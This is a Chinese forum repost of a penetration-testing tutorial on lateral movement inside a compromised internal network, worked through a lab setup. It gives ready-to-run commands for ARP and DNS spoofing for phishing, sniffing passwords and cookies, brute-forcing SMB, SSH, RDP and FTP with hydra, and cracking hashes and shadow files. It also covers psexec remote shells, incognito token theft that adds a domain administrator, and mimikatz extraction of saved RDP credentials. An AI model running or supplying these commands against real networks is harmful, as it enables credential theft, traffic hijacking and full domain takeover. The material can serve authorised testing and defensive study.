安全矩阵

 找回密码
 立即注册
搜索
查看: 4375|回复: 0

渗透测试干货——横向渗透的常见方法

[复制链接]

30

主题

60

帖子

447

积分

中级会员

Rank: 3Rank: 3

积分
447
发表于 2020-8-2 16:54:23 | 显示全部楼层 |阅读模式
渗透测试干货——横向渗透的常见方法
作者:不见长安  转载自微信公众号:天億网络安全
原文链接:https://mp.weixin.qq.com/s?__biz=MzU4ODU1MzAyNg==&mid=2247489794&idx=1&sn=dca6de648e98b7a96bb4cdd1d6d1e6d3&chksm=fdda572fcaadde3912ffc44a0efe2b8e67899e3a6e2652e2a58a57e022607ca5f26969859f35&mpshare=1&scene=23&srcid=0802S3bHKl30G8kHEfQd3FVI&sharer_sharetime=1596356436127&sharer_shareid=ff83fe2fe7db7fcd8a1fcbc183d841c4#rd


在已经攻占部分内网主机的前提下,利用现有的资源尝试获取更多的凭据、更高的权限,进而达到控制整个网段、拥有最高权限的目的。在很多时候,内网渗透的起点往往只是一台通过漏洞攻陷的跳板,横向渗透就是通过这个突破口去不断扩大在本网段内的战果。
进入内网维持好权限后接下来要做的就是对当前网络信息进行全面的信息收集。分析自己所处的网络位置、计算机信息、横向资产、服务与端口(漏洞扫描及利用)、敏感数据(如ftp链接记录、浏览器访问记录、各服务保存的密码、数据库等)。端口服务常见攻击方法有:爆破、漏洞利用、欺骗、钓鱼
一、系统漏洞
根据补丁信息,掏出EXP利用常规系统漏洞对整个网段进行扫描并利用。

二、流量监听
监听对象是网段内未加密的一些服务协议,主要内容包括服务连接密码、网站登录密码、敏感数据等

1. cain
cain适用于老版本服务器,实例:
  1. <font size="4" face="宋体">win2003是web服务器,充当进入内网的跳板机(192.168.198.133) win7充当内网被攻击机(192.168.198.130)

  2. win2003安装了cain。通过cain充当中间人做arp欺骗,截取靶机win7与网关通信的流量以获取不加密的敏感信息。</font>
复制代码
(1)选择网卡
同时也可以修改默认端口。确认点击即可开始嗅探


(2)嗅探中,对网段进行主机存活扫描

(3)选择网关以及欺骗目标主机


(4)开始欺骗

此时在靶机里面可以看见网关和win03的mac地址相同,说明已经完成arp欺骗


(5)开始监听,监听后在目标机器win7里面打开任意http登录框输入密码进行登录:


(6)此时在cain里面,成功抓取密码




1.1 抓取telnet登录密码
靶机win7 telnet连接网段内任意设备


抓取成功,用户名数据包重叠了,问题不大


1.2 抓取ftp登录密码
靶机win7 ftp登录网段内任意设备


抓取成功




2.wiresharkwireshark是网工必备神器,功能强大,这里只简单介绍到他的过滤语法进行流量监听。

(1) 抓取http流量
  1. <font size="4" face="宋体">http</font>
复制代码

(2)抓取指定源地址的http流量
  1. <font size="4" face="宋体">http && ip.src==192.168.198.133</font>
复制代码

(3)抓取post数据包含用户名及密码
  1. <font size="4" face="宋体">http && ip.src==192.168.198.133  && http.request.method=="POST"</font>
复制代码
抓取到的登录信息:

(4)抓取访问指定目标地址的http流量
  1. <font size="4" face="宋体">http && ip.dst==192.168.198.133</font>
复制代码



2.1抓取ftp
  1. <font size="4" face="宋体">ftp && ip.dst==192.168.198.133</font>
复制代码


  1. <font size="4" face="宋体">telnet && ip.dst==192.168.198.133</font>
复制代码
抓取到的telnet是一个一个字符传递数据,所以根据tcp码流将所有流量合成一个数据包进行分析(右键单击数据包点击)
三、ARP欺骗

进行arp欺骗后,可进行域名欺骗、网页内容欺骗、dns解析欺骗+钓鱼攻击等进一步操作。
1.netfuke和cain工具一样只适用于老版本服务器。
(1)嗅探设置

来源IP栏输入网关地址,中间人写本机IP。

可以将钓鱼页面以html格式文件写到这里

(3)启动欺骗之后。在目标浏览器上,所有web网站都会强制跳转到html页面。
2. Foca evail

Foca evail适合高版本服务器,需要dotnet 4.5以上环境。打开工具设置网卡之后会自动识别同网段其他主机和网关

(1)arp中间人攻击
选择网关及目标机器进行ipv4攻击

(2)配置dns劫持欺骗
劫持dns解析过程,在主机将www.baidu.com域名发送到dns服务器时进行劫持返回主机伪造的其他的IP地址。这里将百度的域名解析到192.168.198.1这个IP上。(若勾选wildcard选项表示劫持所有域名)

(3)成功劫持
靶机上www.baidu.com已经解析到IP 192.168.198.1。利用dns劫持可以进行钓鱼攻击
3. ettercap
ettercap是kali一款功能强大的欺骗攻击工具,既可以实现arp欺骗也可以实现复杂的中间人攻击。支持命令行和图形界面
arp欺骗
(1)ettercap -G  打开图形界面
(2)扫描存活主机
accept>hosts>scan for hosts,扫描完成后依次点击hosts>hosts list,可查看当前网络主机列表

(3)选择攻击目标设为target 1,网关设为 target 2

(4)选择中间人攻击类型。设置arp监听,然后开始攻击


(5)成功抓取密码

Dns欺骗
(1)设置欺骗的目标ip以及指定目标网址
  1. <font size="4" face="宋体">vi /etc/ettercap/etter.dns</font>
复制代码

(2)accept>hosts>scan for hosts,扫描完成后hosts>hosts list,可查看主机列表。设置欺骗目标,开启arp欺骗
  1. <font size="4" face="宋体">ettercap -G</font>
复制代码

(3)设置插件
plugins》manage plugins》dns_spoof

(4)dns欺骗
这里也可以看到记录的密码

(5)dns欺骗成功


ettercap命令行
  1. <font size="4" face="宋体">ettercap -T -q -i eth0 -M arp:remote /192.168.198.130// /192.168.198.2//
  2. #目标:192.168.198.130
  3. #网关:192.168.198.2抓取密码成功,这里还能抓到cookie,如果没法抓到密码可以抓cookie登录</font>
复制代码



四、服务密码攻击
1.在线爆破
在线爆破受网络因素、字典、电脑性能影响较大。扫描端口分析服务进行爆破攻击:smb、telnet、ftp、rdp、mysql、mssql、ssh

Hydra爆破telnet
  1. <font size="4" face="宋体">hydra -L /root/dict/usename.txt -P /root/dict/password.txt -t 20
  2. telnet://192.168.198.133:23</font>
复制代码

Hydra爆破ftp
  1. <font size="4" face="宋体">hydra -L /root/dict/usename.txt -P /root/dict
  2. /password.txt -t 20 ftp://192.168.198.133:21</font>
复制代码
Hydra爆破smb
  1. <font size="4" face="宋体">hydra -L /root/dict/usename.txt -P /root/dict
  2. /password.txt -t 20 smb://192.168.198.133:445</font>
复制代码
Hydra爆破ssh
  1. <font size="4" face="宋体">hydra -L /root/dict/usename.txt -P /root/dict
  2. /password.txt -t 20 ssh://192.168.198.131:22</font>
复制代码

Hydra爆破rdp。存在误报情况,未知原因:
  1. <font size="4" face="宋体">hydra -L /root/dict/usename.txt -P /root/dict
  2. /password.txt -t 20 rdp://192.168.198.133:3389</font>
复制代码


medusa
medusa 工具是通过并行登录暴力破解的方法,尝试获取远程验证服务访问权限。medusa能够验证的远程服务,如ftp/http/imap/mssql/netware/nntp/pcanywhere/pop3/snmp/sshv2/telnet/vnc 等服务密码。个人觉得没有hydra用起来丝滑
  1. <font size="4" face="宋体">medusa -h 192.168.1.8 -U /root/dict/usename.txt -P /root/dict/password.txt -M telnet</font>
复制代码

其他–超级弱口令工具

线程越低越精确


2.离线爆破得到目标密文后本地加载字典爆破。不用考虑网络因素,对字典、电脑性能要求高

2.1 hash-identifier--用于识别密文加密的算法类型的工具


2.2 Hashcat
Hashcat系列软件包含Hashcat、oclHashcat、oclRausscrack。其区别为Hashcat只支持cpu破解;oclHashcat和oclGausscrack则支持gpu加速。oclHashcat则分为AMD版和NIVDA版。
  1. <font size="4" face="宋体">-m #指定加密类型,跟上对应的id号。id号对应编码方式如下图</font>
复制代码



(1)字典爆破
  1. <font size="4" face="宋体">#使用字典破解密码,a.hash是指要爆破的密文,password.txt是指密码字典。-o 1.txt输出为文件
  2. hashcat /root/dict/a.hash -m 0 -a 0 /root/dict/password.txt --force</font>
复制代码



(2)掩码破解
  1. <font size="4" face="宋体">-a 3 #一边生成字典一边爆破</font>
复制代码


  1. <font size="4" face="宋体">?l #小写字母
  2. ?u #大写字母
  3. ?d #纯数字
  4. ?h #小写十六进制
  5. ?H #大写十六进制
  6. ?s #特殊字符
  7. ?a #等于?l?u?d?s
  8. #例如:生成8位纯数字爆破
  9. hashcat a.txt -m 0 -a 3 ?d?d?d?d?d?d?d?d</font>
复制代码

指定爆破位数且为每一个字母指定类型
  1. <font size="4" face="宋体">hashcat /root/dict/a.hash -m 0 -a 3 ?l?l?l?l?d?d?d --force
  2. # test123>?l?l?l?l?d?d?d</font>
复制代码



组合爆破
  1. <font size="4" face="宋体">--custom-charset1=?l?d ?1?1?1?1?1?1?1?1
  2. # 表示生成8位(?1表示数字和小写字母的组合)由小写字母和数字组合形成的字典
  3. hashcat /root/dict/a.hash -m 0 -a 3 --custom-charset1=?l?d ?1?1?1?1?1?1?1?1 --force</font>
复制代码




john
1.破解windows密码。用hashdump7或者mimikatz 导出windows hash为1.txt
  1. <font size="4" face="宋体">john -format=NT /root/1.txt</font>
复制代码

2.破解Linux shadow文件
  1. <font size="4" face="宋体">cat /etc/shadow > shadow.txt
  2. john shadow.txt
  3. john shadow.txt --show
  4. </font>
复制代码
压缩包爆破1.Fcrackzip
  1. <font size="4" face="宋体">#安装
  2. apt-get install fcrackzip
  3. -b   #指定模式为暴破
  4. -c   #指定密码类型字。(a=a-z;1=0-9;!=特殊字符;-ca1!)
  5. -u   #显示破解出来的密码
  6. -l 5-6 #指定密码长度
  7. -D   #使用字典
  8. -p   #使用字符串作为初始密码文件
  9. -threads #线程</font>
复制代码

  1. <font size="4" face="宋体">#爆破密码为数字
  2. fcrackzip -b -ca1 -l 1-6 -u ip.zip
  3. #带字典爆破
  4. fcrackzip -D -p pass.txt -u 1.zip</font>
复制代码
2.rarcrack
该软件用于暴力破解压缩文件的密码,但仅支持RAR, ZIP, 7Z这三种类型的压缩包
执行命令: rarcrack 文件名 -threads 线程数 -type rar|zip|7z
  1. <font size="4" face="宋体">rarcrack 123.zip --threads 10 --type zip</font>
复制代码
如果允许出现错误。那么可以执行sudo apt-get install libxml2-dev libxslt-dev进行修复。

shell控制连接
通过端口爆破445得到账号密码。没有开3389没法直接登录,此时借用psexec直接调用cmd登录。也可以通过incognito劫持token,如果有域管理员token劫持DC,创建一个域管理员出来

1.psexec.exe
  1. <font size="4" face="宋体">下载地址:https://github.com/crupper/Foren ... sTools/PsExec64.exe</font>
复制代码
通过得到的账号密码信息链接跳板机,通过smb爆破得到账号密码,如果目标没有开启3389/23服务无法直接登录,借助psexec.exe工具通过smb服务调用目标cmd
  1. <font size="4" face="宋体">psexec.exe \\192.168.198.138 -u administrator -p 123456 cmd</font>
复制代码



2.incognito.exe提权
  1. <font size="4" face="宋体">#查看本机可以利用的token
  2. incognito.exe list_tokens -u
  3. #查看远程机器可以利用劫持的token
  4. incognito.exe -h 192.168.198.138 -u administrator -p 123456 list_tokens -u</font>
复制代码


  1. <font size="4" face="宋体">#调用远程机器的本地系统权限的cmd.exe,查看可以劫持的权限
  2. incognito.exe -h 192.168.198.138 -u administrator -p 123456 execute -c "NT AUTHORITY\SYSTEM" cmd.exe​</font>
复制代码

  1. <font size="4" face="宋体">#域控账号登陆过普通主机,可以尝试拿到域低权限账号利用incognito工具劫持域控身份
  2. #查找被攻击的计算机中是否有DC的token
  3. incognito.exe -h 192.168.200.11 -u admin -p 123123 list_tokens -u  
  4. #利用DA的token创建新的DC,调用DC的cmd.exe
  5. incognito.exe -h 192.168.200.11 -u admin -p 123123 execute -c
  6. "XY\ADMINISTRATOR" cmd.exe  
  7. #执行创建DC命令
  8. net user hh 123.com /add /domain
  9. net group "domain admins" hh /add /domain</font>
复制代码


Linux下通过smbclient访问windows共享目录
1.安装smbclient
  1. <font size="4" face="宋体">yum -y install samba-client/apt-get install samba-client</font>
复制代码
2.查看共享
  1. <font size="4" face="宋体">smbclient -L 192.168.1.8 -U administrator </font>
复制代码

3.smb连接
  1. <font size="4" face="宋体">smbclient //192.168.1.8/tools -U administrator</font>
复制代码
执行smbclient命令成功后,进入smbclient环境,出现提示符:smb:/>  这里命令和ftp命令相似,如cd 、lcd、get、megt、put、mput等。通过这些命令,我们可以访问远程主机的共享资源



本地rdp密码读取
1.查看当前服务器历史记录
  1. <font size="4" face="宋体">#查看rdp连接历史记录
  2. cmdkey /list</font>
复制代码


2.查找保存在本地的认证,得到对应路径以及值
  1. <font size="4" face="宋体">dir /a %userprofile%\AppData\Local\Microsoft\Credentials\*</font>
复制代码

得到:
  1. <font size="4" face="宋体">C:**加粗样式**\Users\admin\AppData\Local\Microsoft\Credentials\1F914B4D8F36DFD93C3A37B7D5491363</font>
复制代码
3.运行mimikaz,获取guidMasterKey
  1. <font size="4" face="宋体">mimikatz
  2. dpapi::cred /in:C:\Users\MIN\AppData\Local\Microsoft\Credentials\1F914B4D8F36DFD93C3A37B7D5491363</font>
复制代码


接下来需要使用的是guidMasterKey、pbData数据。pbData是凭据的加密数据,guidMasterKey是凭据的GUID。
4.获取MasterKey
根据目标凭据GUID找到其关联的MasterKey,这个MasterKey就是加密凭据的密钥,即解密pbData所必须的东西。
  1. <font size="4" face="宋体">mimikatz.exe ""privilege::debug"" ""sekurlsa::dpapi full"" exit >> c:\log.txt</font>
复制代码
根据guid获取到masterkey

5.mimikatz破解密码
  1. <font size="4" face="宋体">dpapi::cred /in:C:\Users\admin\AppData\Local\Microsoft\Credentials\1F914B4D8F36DFD93C3A37B7D5491363/masterkey:3d5c95de7ccd3a1d468efd0d90a42330cdcf06d0e7ee834a443907384a6b25dab8d8ab32c8c9540605711d689304ecab949e168719551d2423498168f7fec6ac</font>
复制代码

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-28 06:32 , Processed in 0.019897 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表